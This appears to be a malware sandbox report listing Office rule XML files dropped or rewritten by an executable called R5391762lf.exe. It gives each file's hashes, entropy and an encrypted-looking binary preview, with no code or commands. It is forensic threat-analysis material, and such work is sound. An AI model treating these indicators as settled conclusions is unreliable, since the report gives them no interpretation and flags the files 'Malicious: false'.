Preview:	<?xml.p....-.V..;..PL.]d.....$....L.t_.cf.-j.....Cz... ...0.]'e..H.....ko`........(.n:...[.Nb..%..Pv.T..E....%@s...?...2...h.'D!..'....&...V...e..d..vAB."a......V..A.l..R5w...u..].L..[I.['.I.-...n.K..6..PV/.K5y;j_Z....o ..O...B .ka..........u.....1.q.....mjp%....s...n....Q.X.d.'.tENvo\|....1..S....@.:..U:..B!..k.6..b..K.\B!L.......E.T.VK.9..O;.)..em...K.+../.ns..[...C.....'-&.....B'.)DQ..O...ovv=/...m.....(.-..5..W^;....C..\|.!\]Q...\|.oJo.....V.....&F..^....,....R..R{.y\h.v`e...a;k.P..c....o....d.;.s;.:..p.....e.E].@?.+e.wD.......>..?^...?.jk..=cN.]...9@..N.j..+..=84/\|.%b...G.too.....*y.....y<E..o.].W..?.uCd.7.....Tp.:..SL..9.Q.M5..C.....:y....uj.6..2...y{...`..3.M....[sB..8...?.......$...k.....T.k.....-e..j.....y.vPj..9......W3L....m....$z.\.m...N.^d...r6..[.g.b....k-a\|.[...!\|.W...Y..+.n.v[1......=;q..x.m.]......j.M.L...Ygo.Imw.{WNo..]....3=Z....s<.`......?._.p.....~.(.2.EIM.M.r.,...?......O...f/..B...@...eVS.F.c>~...Z.S..d..ID/.....3....[#

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.896446789047557
Encrypted:	false
SSDEEP:	48:OOkYWBhzFBa2COyiAwJ5yKQzG75697ZWU+PTXFuED:apI2COvJOG7527YjPbFuQ
MD5:	10A278838207B5DAD96348EF54528700
SHA1:	D8F195DB925E3038537FEBB2EB3EF88F2EB676B0
SHA-256:	B83B315A52EE30624A73CA5C749C6A00580D6718D27E028B26D66B471D64F44D
SHA-512:	1287A8011499A0911241FF138CC258772BF01B94DD3D6EB09A4FD1325F798DBDB4CDEBB54174F3E6E81EFF7B2EDD126C6252960807757DE9F54095DC5FB38771
Malicious:	false
Preview:	<?xmlDr"..M...";.....\|_...........h.48.g.[..t.p.......`S...cn........&...7.).o.....4&+.S...k..<.~.M..i...c..r0]q^A..R`....p#.Ea..(......s.93y.KY,G....c..\v..k..-.....H!~0'8...o1R}..D'....Xt.).%..,s.Qy...[.n......x..(.}.)9i.U..$P..2...\|..P......r)....2..)H....Ue]K.xY.......k..D........Jv...1)...l..p5......nS...q.G......$....U..D.^.....u7'....f=3/.&9....N.L0.Q..-./..N.'..^.5......H.7...M..u.q..s.\.D.@...z<.`....3....dW...<......+ja..?Z~.!.).d.;Z..L.P..D\....".2J..$Y.{Z.T.....T.V.\|cw.../B..G\|]....`W.....v.b....T..Z;IO........~\|....b_!fl..{...~.j.&B.\|...L...^.{.._..e5Tb..6U..nr.-. ...n...+4J..P....m0....r.Y..Ce6&"l..>$....P...........QA....u.?.".....f.....MPA.^d..V9.Se?....N.)...e}.......k.6..4.<n...._`D..teIQaM.R./y4x.1y.u..1...P.....d.D....3.....t..Y.e.]\B,Da...O."&rqd.\m.%.@VE.aNi\.0.y...\...Qm1B....2f(./j.>JZ$...hnwb..m...a...-.N;...}..j.......h..u..;..~.........:x;.jU5P=.'.'..z'U.p..>..H.....g.W.}....a..r...NH(G..A.'r\.....<v

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.885224014679514
Encrypted:	false
SSDEEP:	48:tTDt17sfCbfh7gSQ+z4ZgbAb6ot+8UPkrHnt4OXFuED:tftMCbfh7RQ+zEbZ3LDt4sFuQ
MD5:	FF9590578CD1A5092AC3C729CB587766
SHA1:	2FCE9BD07F3ED69FA5B1BFEF9A3880C0433356C9
SHA-256:	A6E86471E48432D2F960CAF27EA7F8BA89ED8EBA3B58ED575DE16EC2A907248E
SHA-512:	FEF8B633899C3648609124984A3A8B97ED8FCBDAAA8E9A7F8E729E40F2EECC8321B805CB36766121972C9DB753495E3FF25FA0D5DF13F80FB699B2CBDE2A8072
Malicious:	false
Preview:	<?xml........O......xi...X.U..Y4..+............E.....])..4u.j^..vq.....x.....W...5n.r..wS...V.......@.X.e....:.J.k;h.Q/<..).F......L.......... ..6gZ;...ZF.%.I.'a..0j..zD.@.....X%x-b.4=...2.o2j.KR5...,o.........V.Ha..........Y..S...$(...V.R...Uw".w&..o..<kY...[......dT% r...h../.g.MF......FO4.....#.._r19..6.k..`.z.g.}..D..(2Z..!....I&...../U..N.b...w;V.b.....)..}b.&.C......oV.@.-......z.!I.r..m.3..\|...X)l[Y.g9.px..E#M.a.y.<...3'$.............;`..>............0".......k.1.:.......&..,-t...Z..o.s"u(S..^.JrTx...j...S..C.n...s^\.;=.:bu.o'.....Y%:-.1...E.!>&\g.Wb"....%.'..&!D...y.B.7.p...M.gz....)Z#...G5.g.aI..{...yX..~1....."/.q.).a2.OO....?A....t..[.k....=.N.........h..p......dv.s..+P..W.[.k4E.<".\.m'.T..?9COr..q.NS..s....R....AA,J...I{....!...g..w..oIA.....5%F.Y...:../..$.....Z.e..5...1U1......'....n.:.+R.H.19...O.J.MZr...N....)....f.>zm...@....\B.d.R.j.....B..S..0[..4..k?G.P.m.W...7m.....pFd.....A(....&1.....^..>ynv.<.E..zA..qAU.w.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.894321996720597
Encrypted:	false
SSDEEP:	48:bG3NpjqyrIjN2krrhDhIhCkLB7/I5jXFuED:y/qrN3HhcCkh/ItFuQ
MD5:	421BC58F13434152C20C7D2661E58440
SHA1:	6F5431F4D9CA8FDB291AA7DCA9044A014C778B27
SHA-256:	7B58936B4E7C38625040C7C4BD63918A0C7B5D72CFDA5867BE7D562C8A6E89F0
SHA-512:	C6BE42963BA0CE8BB505EAEDE532488F98A411A297BF9D23E22D465C11BBAF0839306C48E6323446BAE5AD6883BCA39357BE0B20FBE5FA2D879213E7B8B2CDD5
Malicious:	false
Preview:	<?xml...D..m...w..(\.2...6P..aIE.[...CoG.....!.<.."].,F%...\.!........F...x1c.4.o...<@.Ru:d-.;....]..."?..Hw^....sg.....g~.....q;!\v........R).H...6<t..s..,~..y.U..uG2N. .Ji(>A:..KD....E.NJ....U..u.7.k.Df..4YSL..8`Kr.............R.Zkl.O..l.....-.........._Qv.1.....`i.0.1Q..Gg...+f....'W..7M.ho.J0.._.....H5..j.W.....G.p.[..k..S.X..;.f) ....m.&V.%vC..i.,[..Y.......,...e A.j. -x..oTk.36.(.......4......M~OU.L.}.6.Z.<..#..7....R.<....S...&.8...\.A4^..8..+p.. .]........M..V..........hW.E......3.?P..I..B>..Q.B1.J......@w..^...n.a.]..&-$$.;NR.@.......w..E.....?..z.9...)...]r.......vc.~...=Ts&..<..F:h'^<W..r.P.\........2.OB.U.D3......DC...{.t..1..z.2...).<N.. .e,.}Z..d..M..9....8......[...d.[_.}A]..W.5............T.c.Wss........u..i_.1....M3S.a.K.....L..A......._(.VV.+I.J....Yi...l...&.t$o4.;.....>%u+Z....y.~r..&"..{.\#..eJ.....\N......Q.!v.e.....l..=....\E....22f....XV..&Z.t..'...~7.1[.....T.J.~h.O}.{...O.....%UYC..}..&.(..M.....VV.....u..A.:

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.882863372994447
Encrypted:	false
SSDEEP:	48:Sf28bsy6FwQtL6ZOGDA9AqMvgJNV1WwlWhEfLABvvNfXFuED:O2E7EwQAQ97/IBak9lfFuQ
MD5:	B005E4CA9307716A3C0C01C128E4E2C5
SHA1:	7476239F57959E6E025E5A2F80BB5E4014335AF7
SHA-256:	736297B5D2851A393AEB68BB359F7C94172A03F56F74E9E6C4F8FCD525BBE06C
SHA-512:	58B4A98EC998CAF70A514368D30931C7CCECA20BC1253699A55B4830AE80C78030F2D3C8D9DE10653D2353EAB5F819E0BE419FA32289ECEB0DC5349B9CEF8039
Malicious:	false
Preview:	<?xml{fC.g...........ky.;p...~.#kb.....,r...pL...e.`=.@..%v.T_1...N.................y.6 ..G.W..r.M...2._@....k^.X..........#.%..>SZ#.{......r....]0..w.P.V..D^g.z."..:.K.].....LK.".a....z.H..`.....$6OS....B........z..z..n>...M..HP-"....%..9...{;.~.....r......\`......G\..'+...8.,WQ.o)D.5n.9..h..9L.RV..8..A.3}.....m.z7..>...8....{.1Nz....W.,#.....;u.%..(.W.w....T..%tO+...q.y..g.......T.tQ....^dJ.k=4.:.'.+>..YD.:..$i.M..QE%.....sg..X/.JO....iv.....qCsF.4:j.<O...<...RF\E-J.a..G......m....T....<...o...F..y.M?......'....?.......e<z.9..'...^L..Z)t-+...w[ j..Kq.%...7..n..2^).........9.K.Q..SBG.e.6k.S....&E......4.....RH$..n...s..f..=R0~.aA.#..e,F<.p..U......:....L]>.!E.6....~+.(..,#Mq.h~.1.....-.1...n..X.......OH.`..T...^&,..DZx@..),.O#...9:......D....U[......_..l{.....\|. ...\|.6<....O..}TA..5..`>..r.?........)....$^..{N...Tc3>EY.\$e.....)?S..B.u.f...U.....jE..R@.^..p.^../..(..n.2.;._....Db...O..>...5..a!U.H.!...6..M..q...0.<,p...E9.3y.^....x1?.._

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.893222484486024
Encrypted:	false
SSDEEP:	48:IOGN1/vt63+9Mm8rcbOx1BPsNeikvsCpXFuED:IOmvj2me1NsNmH5FuQ
MD5:	7CA09302D56FF63BE0459D4070A4F269
SHA1:	BADAFE182746FCB94394DC1CA024A0AB03A54BBA
SHA-256:	8E56B8F1A800BD715E6EACE5DD05186B57EC06EFCB48A59102071615767311E7
SHA-512:	CB04B364DA0B5F549B295854ED16445ACC355FEF161019CFEED2058B0417F28C32D69CA80315993D2484CB3DE5699AA16C2684713621AA0257ABF3769D2218AA
Malicious:	false
Preview:	<?xml..DK...D.%1.G..?...Za......r..,..Z.\|.K.?..9......R.....~.-..?.e.np?n{..=f.%...#...G.c..g...I>Cv.C.,,....$.S..h..)...2.P bx..)i...&.c.....T....I.x..6.Bn.O........-$!..Z.cG..1.^s.q.........w/...,..T.c.s...`{...xU]....EV..a....^..P,....\|.......Y..3.7.zZ,Z..Te-.Z.'.e..g..8..bTw..]..y...C...J,H.Z........%.UU.2....3.........S3.\|J.}......M.{...'%..6!..X...mDO.A,.s....s#M.9..>.g....`e..NT.K..q.-....(R.........Q.....a.:.....Ox(.......em..)...9E.1j.(..........1.&f....[0....(...E#.p.2.w..^.e..fk..d..T.O.'A.......~.4B...E.........1[- ...?.MU...u....[t%..L...cK.. .'5...[........aI..ZC...1....Q7+.2....`..w.....w.T5Um..j.t.t...8Vu..\|...S.C.`...]T.xL..W..D...1\|.w...{)P..j)..dC...........\|.u6.Ti.wE......E~?.....Q.....\|u()..U.m.^.&.!....,.....5!&....]i..4.1.....?......?......Z..J.....R...B.N.y>Y..6.......3r..I....Z...E.v<.B"....2.H.}..z.%...E....ye!.M.W.Q. ..[E.1.@.T.q.a..!.p.Z\../.j.YRH.g..k...6.k...'.M...J..dc.K.a{`.........N...px..s....!Xa?

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.856129526849543
Encrypted:	false
SSDEEP:	24:hZdmbIPnL126g9i2E3eLax8jdlEbEw2h3GQNk6TPQZWc/PXq8uWbD:hZCEL1Jg9hE3eGuS2h3GH6TPQfXFuED
MD5:	B38171E86D6B153D3EE2A2F610051B0F
SHA1:	4625F77414C5BB654EC8E677D8800D7044B2C960
SHA-256:	D96E313075CF2F6A96EF5D671785F63E845DA31B825C826334EA2CB6E7B2974A
SHA-512:	1A8FD0831E28FDCB11DF69E5C167050D59B33A057B76AB967C4A720E8B9A1D5F80FF5B5AA25A218474A24315351E5E7392FA3EA141323437E94AD50D06DC1862
Malicious:	false
Preview:	<?xml...R......-..'.mS...O@.a..P....A........d......l.r..H.o...Q.....\|^..fu..%I.,......".f.....`.$...y..5.1Y.G.+.K}...v.0.z./.h..^A:....r.K....v1...F..`o....d.w..V4..^.Tc..S..ls....&....t^..s.....%...-iFK...4<.C..CT+b........J7....;@#....."K ....T_....I.PL.j...9...rH)......Z8...qG7.B.D.suQ..pt;.CW.o..O......B...8...~..G.."h....nY....y.....}...I.....C....2....w.P;..%...I.......#k.@.U[..P..B.^.'..S...wWgwW.[..e.F.6..j..v>.....r.M. ^~.b,.D.W.q.:.$2..i./'..\/....d....S..@...C,_x>.A.{...........+.....\|.)\....(.;[..4f...D.........8....2......[v....?....c....$...,...}.Ji...@.xE.[.2.B....\|..s....."R.....1...hqf$k.r.~.@....!..O.b..........-....#.....(.p7.@.B..W=..Z.E......n.....7...z.t..U..^.....\....KA2..J.AjE...S....kak..D.......$\|....E.#.#:S............q.}.M.....\|.I.#_.......^&........l.iE.g.F_....5..!...Tm...A..lk"..B....?..D1..R..#f.&T<".....;...pz..e.4}.y.&i^.M.........8...Y..fW.i...KI.........zw*i>eF!..j...)..../.)....gnSP.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.933741436937858
Encrypted:	false
SSDEEP:	48:nLOFyxno5+r1bypqbtrIR8kcFF4IRLwnz48mch+fa49dQpPJnQQU5S6z8bPznYy8:nLOFyRc+gpoBucv4IRLMz6cNidQpZQQW
MD5:	ACB68F2C098136CA4461F858910F967A
SHA1:	DD88D864982850F5FE104D9E953B85BA8536A5FB
SHA-256:	F8792369E006067452D9882EC4D88C75AB92577DCCAA0653ABE04B1E3CBAAF49
SHA-512:	8FCA031170805F45F96644B07C836728FF07963A618F96AD05B8FD00CD90875932C48BBE51E081E3C22E0F8C47E7029F0E74AC923668F94BE010BDB7DD4417A3
Malicious:	false
Preview:	<?xmlNJIc.......`\|D.."./..;.(x.....=.U....".....2#.3J\|k.h.....(b....`}.,..\|J.b.zq#.....M.`........;\|5R@....1..HK}1\|.I.w...t.../.<a...iB..0..y.....Q..p....mc...Ct.w7...2..Kj.....`.`P.i.....%A~........../..D..6.W.....HT.Vy.p.(r..1mX... :..1.G....C6.Bg..`..=....V.k...J..........Z..'B.+....4Y+s.u....J.!.....i....X..np[...o.......).9?..wM$..8\04d..Cn^.......t9_.W.0.s`.8.O.&......dl.N.`..^...A..X.i.........J.i.C.[.v^;.y...}G.;.GW... .sGO..#.k`..........f....G...W...\>...h... ..n....}.^s..v..a.l..p.0b..W..,.!.....,.....=./%...i...uR<V.(.....<..pi....$.`......(...N..aa.. 9.a0.....A=..-..&...$:..v.Q.....?aC.C..}.^.b..X'.....;...c.io4.E..fPur..e.c.>..+.;07-.Z+..F?"yZo].gl..:..&...yxg=.IT..P.]......0...qL.;\|W.Y:.Lu.$..-..jC{..........RaK.7>..V..un.ZN....../)...x$......r1.ak..u..W. .............?&..fR....-..d`7..df[.&....+D..0.D[j.Gz.H.v.9..<...._.6........e Kv..#...&jSgM@..CH..j..I'.Z...0..4....6.....1.4........_\.<Y..~.6.O..`.c#..y

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.881038661813548
Encrypted:	false
SSDEEP:	48:UgjEN1gCPjrps2wh9Po38fr4ejqgXqXFuED:UgjuWCPjrpPw7ep4gFuQ
MD5:	4DAB20666C9BE0B9BADD6EA1B378A17B
SHA1:	29D331DFCEBE0688F60C41E6DAE73AAF43B7ECA6
SHA-256:	5AF8161D2CE1EE122B76180230E9F4C9A48C8B2408C86BD5D424E30D3B03A60D
SHA-512:	7A5C2445F000B3DC460890B6853CF540E343D441D1756C36556F2C3B61BC01E9B4B5BCD3E5501CC9D5347FF6A1469DF894E7EADF7D93D31B9B60946D258A8C16
Malicious:	false
Preview:	<?xmltQC ...E.n-.8.>..n.....+N.q...~...W...F.h.q.....8....`.(w...Ym.>.K..f....;x....0Cg.+<.mC.o.....8=:"3.....W.C+.G.hQ...t.0./..K..a..j.4X.?...?..L5.~.x5.......8dYD.....a2.......lx.._..033KD.s...5...zza.]P....=.i..:.&.%l....)d$..i..y.uUy.1.m..}.w"..?....BA^u.0Z.j.C[...{>.>......Swp.h.1....,.Q......:.`.......e....:s?...,...;.v.. ~................qX...XC.U.....E.. .@.`.t....h.l\| ...2..;:3..O.Z[R?<..+.n...6....4.&z'.!y....:.8..E]T_...]...].9H..3H....2HS\|..."x.o..... ..a.].<.....ey.......\.W[%.9.~U.....'Y.......U...$..].....#>.Bt{m..h..vh...\|l.AI..v.D...j.TQ..J... ...s3...G./.k.)w.y..k....@.......@..a.5.W...z....-.7......3.....c....J<...^0.t.......H\.Z.A....D5...:...i..f......A..8Rfy..,....a3K3.y.....b(.:.V.....Rn.u.6.WE...fM...U3#.j'Mc.b...%..Z3~.*b...g..KC.W.`.s..f........e..........O8.n.M..v.j..-64X...O..]$........B..t.g.,.J...M.w.Z.........j....aF...x.V..5.....3..)ID.Uc.na\|.o..(u5....`.)..<rp... .6(..q>.>...(......N.S.=o..).'G...,:z.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.909029099052718
Encrypted:	false
SSDEEP:	48:w1+Ss/fmpiHfZ06c3FmoAX9mgHkdP9/2ioMrO6m6fFZAIISXTVT+SXFuED:Jm0/a6umocHkhYqO6mI8IIUU4FuQ
MD5:	46D7994B1FA97F176CF009FE3B47C35B
SHA1:	52FB3B3877D559DE2BFCD86EDC7C37A3F0A4CE25
SHA-256:	5F4D8CC5003543B4464C6D69CA3E47844D17E1EA25076EB26AAB0DFD27D205E1
SHA-512:	80141E32E594E940397BEC21DB1EC30FB1A78746AAABA5DD36DC1A346F338D2DB976BAABD1FC28D75CA54AB1C97657ED61D0E64EE045F7EBE0A7B83051876D3C
Malicious:	false
Preview:	<?xml..8j)...^..H.W..E...@..#.a..Z..D.D'.l.......F.........\M.7.....}.;..7..R.b...0.y..wn.....R..{...o\|...B.../.+.`.J...cHp...mV~O.(F1..C...!6.R...e...1...'.yi..b.."Wo.&..6.~.~.[3.yyC....R.c.y..x....H..6.[...@...z.$.g...3qmT.C........}.....c(..d.,b..........B. ..R.q(..3....wFO.RK&...jr..<r..Ki...w.i.V.....(..\|..(.%.....IRP...x...&........L....$..&B..F._..g.b.Y...t.......q3$:.v...f..B.Z.;.w..D...k..?MT...<kN.{....kp..d.t2.A. g.h...s.Q/......J.Dd..L....r`.....@...ygc7l+..0.w.-...H...jt.8.3.:.7..iB......dtm../.y...t...=6.A...2.=e.x..l..)HC.%..?.A...S.FW....^...R........uD.;..#........^t....z.S(!.?.0JV.lKm...=...\.C...#n[.&'U.........1"..._I{ X..hE{N.?...!:.R...O.%R._.CB.\|M.{.j.}.....%..p..$....2xA..Y..+.8.B..)kb%..;9....y..]?....d.0lV.a(.9.v_n.\....../.fb..6.f.,e.Q..%./v"..F.]K...=.)=fl ..)...B..t.P.j..xL....@...a.\.?.z...8.a....(..K..^........V...N.8L....nM.M.7.. .Z.=.v]FD..n7R.$.c......W..... -..*%g..-n.v....".@......j.........j...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.717379154157419
Encrypted:	false
SSDEEP:	24:BuF5InNr2IGgad6Urd3PnSU3kx/VTxRViHaObqtAXq8uWbD:BuF5InJ2Ierd3PWx5xRVilgAXFuED
MD5:	0F3636E35F1BA5933DA22AE357C9307B
SHA1:	E4CC79E1FA6B47D9744BA608E54F240FA78B299D
SHA-256:	F225F31975D3CB0B4990A506F46E96351A462269CBA69F178E2E9F7198914DA6
SHA-512:	1D7307F28631E5AA3C410B60DE40C3C20F99CBD2A43CC26C38730380308A71ADDA94BE64D9D695B21B8EB15E2A8963A649E131F59A02A424BF85CF4426327E3F
Malicious:	false
Preview:	<?xml.`q..>. .)..(!...W.m...1[.....i.3.W..KAg.{.........l...c....MeX...&....p.(.F...`{........w.....p{.d.XC`S..2.'.LL%.Ju...P..K.1.Z...x.>..g.\|.k..N6..g-..oo.....[..:..!...\|b...".9n.h.$......7X........Z.C...jZj.c..s..r."....B..........>.Z.V..j.{2.#...m.7x.....O$..?C...V.i,...k.4..r..<}pv.Z..Vx......>..0J..U....#2l.....]w....:z9.6c9].V5@{d.t.l-.\|S+....X.(..`...0.d............../....E..L...}.=....{...,$R..,(l.Pr...6Bs.&.i$.....:.A......y2N....0QO.........f...<z.0...b.O......{..-.:.. .B`c...b.,\|h...nxb.$......,..l.5...d.7pg.,.0..,.....XM.#.....O...t....~2$.H...j.......[.N.Zbr..p.%..b5..E/R..&G.O...R...`......Ai.^<L.w..z.8HkZ.R*...;....D...y.k...+QL.\|.K-i.)..........)F..B^.C...\Z(.0.....S....Adoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.949421961482821
Encrypted:	false
SSDEEP:	96:5Xz54IfnKgIqMQ7gsi0A7mDVwp36qaMizYzlFuQ:AIfnPBIxmCzaM8aWQ
MD5:	24DBBB989C14191A1D90ED2EF185F769
SHA1:	B9B23F3E16628FA93DC47AD166F1317B55FBA2BC
SHA-256:	4790CFFE0B5692A7820842F444E57EBDD0FEF2CEDC413AD3032C0C6E9E24779F
SHA-512:	B0EA3655B39792C1A5799DADC22BE91D2F1391E6DBDA9361429057A8456CE63C98232F4D985099B7E711E9B6FCD47DF64F3C3FAD58C903A41A9E6FCEA3622F40
Malicious:	false
Preview:	<?xml....~.hJ}.........u.-.J.q%9+..@......\.AwW...S...JH...S\|L......9..~....:...SoA...P&....`....;.v.d$.7...z.l...;.x...*jY...W....f'......b....w!l.C\Gu...."'6.N...Pw5..x.#.........I.....t....oRz(t.\|.XBE.zh[..!4.`..X.yie.q.....0.\\|.k...0j`....._3.kj..E...6..../.J.....d..W...:..&....lYZ.:.H.<..I..-.aF.X4..j.(.Gr..r.._..4;.......B.t..9....HV.....{......`.,...Z.Pd.3..Y.Vc...'..ju].-v....`..~......2=].....wI....v.^}....Z.D@.k...;#Zr`.z.4.+;D...2...^.L..Omv.J;....v.I.8.cs{>....Aqk...-.Kh....C,....5..)c...FTg].....{.c.'.m.. F5.FD...[.>iW......?$`.+.z.-..+y..[k....Cp>..........eD..........F@..p.<."Mt.X...t..R..h...Y.....>.+..k..e.....k.E^..p.........)O..e...+.3....).....'.....l.,p....$b[..r(C....K[C.....}...0..."...].n.}...z......$K..1.yM..n.kQ...X.^...t.>"Dqx...1.....$..9..M.c....{z[....8$~$s.....{.:...X.t.yu..Lg..Qs.i............GJ.kd...B.H.a..`A........4]mi....(...ik..YY..r...G.<..<..x......7pi.....>.AK..}yc..[......d....?".:.?.5S.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.840404079673957
Encrypted:	false
SSDEEP:	24:O6C5VHe0+TrQ7bIi3O74SVMs+RcxnOkGctWxsImhU/YwOUosYI1Xq8uWbD:1+VHZ+ysT748SRWnOkGc/IpgfUosD1Xp
MD5:	0C48A2DD79960729B8ECBE8F57535A56
SHA1:	5B4DB6A3FAD8940FE96499D03A66C7240A54E1EF
SHA-256:	03F8291626E49416C6BCA5FE2F06033BE94161E6D6C1252E282C529DE7A7B81B
SHA-512:	CFCC1D6D615DDBC05778017213B920CFF7BCBB9A60EE31D46D259159E643260FEC1CF1DCD5858F966CAC32B1924ABE57F298C7A1AE4A4F96884FBFC694B1E69E
Malicious:	false
Preview:	<?xml.Q.6.Q._..mH......@.~.Yi62~..m.....D[V.}.]C..i.G{...{}..$..@..HX..)EMw`i.T5..D(.6^6../.\|...U.+....q.n)....L.hmU........./.w....i,.p..P6."........Md...p{]......... ......J..(w.X9.G....F.p.0\A.4..\|[.....~q.r.u...7z.j ..$....V..G(.yz.l..F...!..)..W4%y..h......W...iB.....&....0.....7.{.z/K]..........f..\|.....5qL..r>m...a.\|.g....{.........T.,.q.C..d._...HL.\|.~X..h.F.k"._....x...+...b.....K$l.X.:.>D.ac...5...KP..mLs..F.u....095G..h.Z.k.&..X.ri...K....P.Ii.g.el.OE.a.1...........v.RqH...^,....4....D.m,L....I+. .....P-)Ah\|......f.Su..8.9.R..j....B.O/}x/._..........jr...n..3....W......6Xv..N.W\...C9...Rg..+@...^...yOh$....\..0?...%5......l...-?.QD..`j./Be..1..y...:~.%..}b..=~G.....Ug....@....x...j..W......D...h[....W.....D....6.@.....`.<.E..L....B1..F.vz}'._>Q3.D.9...cV=.r.c........^..=.......U..RS.KY<4..P5D...?.[$"&l9............}....3..V...P.-...Q......."...<_...xEr../8.S....!./........k.Kz...pdE.:\n......0l.fv. k9....._..K.n..e.c./<".....%

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.853163724588456
Encrypted:	false
SSDEEP:	24:RHHMyOWiDCESXkDv+T1KQHfS2hBknLlMnooxM/aeguJAkjcJNXq8uWbD:RHHgWiDC7XMYUo8l1oxaa7xNXFuED
MD5:	16D66C5135B91CE402EB892584844A4A
SHA1:	E891C768D6AB312E67A663DC6CC8CC87410C8E79
SHA-256:	FFA4E2B0827164CC34A01752B4809E99A20CC6A3655FA5EC2E1FBF7770E7B2DA
SHA-512:	C37B0AF5E8F13A63F21EDA233C62C4FF7F7C64E82E06147B4F2D965A0FD0B91BBD446F4C5FB65FBB1D8043A59552331A2831A5E5E9C8DB1D1B68F71BFC042C51
Malicious:	false
Preview:	<?xml9<g.z...Sp.n.\.....#.H'F...z;...F.2x.:.YF=.~B,.........1...J...Bs.#....{..g4.I...U;.h&.7.W.HN.T5....7......DG. .:...>)?+..n:.U<..,=..h.M...L.X{.y.\|..S...^.p....L...z,Xvz...z:....XO...I..........vWu..iZ..bB.D.F..4H.D.l..=.."....!:_...&...wT6...........-RE.?.......Z.[....8..Xk......?..+..&...`.]0I.L.........Z.S.hqUL"k$T.\|:..S.}.Eb..!..9.2J.........,.M... G.z..\|.v.M..0.7.-...I$...@.IdA.ym.:V{a..~...3q.`...Nb..{%...7.u.O....... }.k.CM.o...dA....C.q........9...z..6.R2Q....V1.N...p....H..5....s2/.5.j....x..p.].....&...-..$g.UES..j.m...D....zV.. .%.ID......73.....U..m..`...\|...I%.E.6.....p`krck..C..$.!....^..W/aM7D.k.s......o.........i.sF(...Q.....0.2J..c.6F...j..;..`.:}YW..d..j.H..iD.<....6...G\.!)6....gk...Xo...y./....T...."...[f.........uQ......!.23s.{....).$8v.-.S.............N!.s....Z.....-/M....\|....z.(..@..R.>..B..%._:...DM#n2^4.L..?R.K+uHo.`.....{....G>..6..N-t..ogFkGR)*J.n....c...?....!....^..2OX....F>{....cE.s.U$I...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.810953041501664
Encrypted:	false
SSDEEP:	24:VZGfdrGDqf0RgHS5L3C3nZhfSeP8EYWE6OI5GTBLMHtAuXq8uWbD:VZ5mMRWSR3CTfZP83OpE1StAuXFuED
MD5:	E61034ACF093F8586A7C67007012B586
SHA1:	07228C9BE63CDED20C7522E72A57E7D9867C746A
SHA-256:	A2300D2C57D20EB5165E0BB4C76DE016961A4D8D4AE368183D619D0375636437
SHA-512:	E03AC35FF92AF127FFBB21061F472FFEC30BA34CFD46363FADEFE42214762C6C5424699C627898386C92C488DE93728814C08BB76E0EB338DD409FA841B313A8
Malicious:	false
